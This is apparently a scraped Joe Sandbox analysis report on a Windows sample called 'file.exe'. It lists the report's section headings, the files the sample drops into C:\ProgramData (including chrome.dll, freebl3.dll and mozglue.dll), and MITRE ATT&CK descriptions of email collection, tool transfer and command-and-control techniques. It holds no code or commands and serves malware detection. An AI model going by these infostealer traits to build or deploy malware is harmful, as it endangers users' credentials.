Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKFCBFHJDHJKECAKEHID

C:\ProgramData\CBAFCAKEHDHDHIDHDGDH

C:\ProgramData\EHJKKKFIIJJKJKFIECBFIEBGID

C:\ProgramData\GIDHDGCBFBKECBFHCAFHJDBGHC

C:\ProgramData\HJJJECFI

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

C:\ProgramData\JKEBFBFI

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre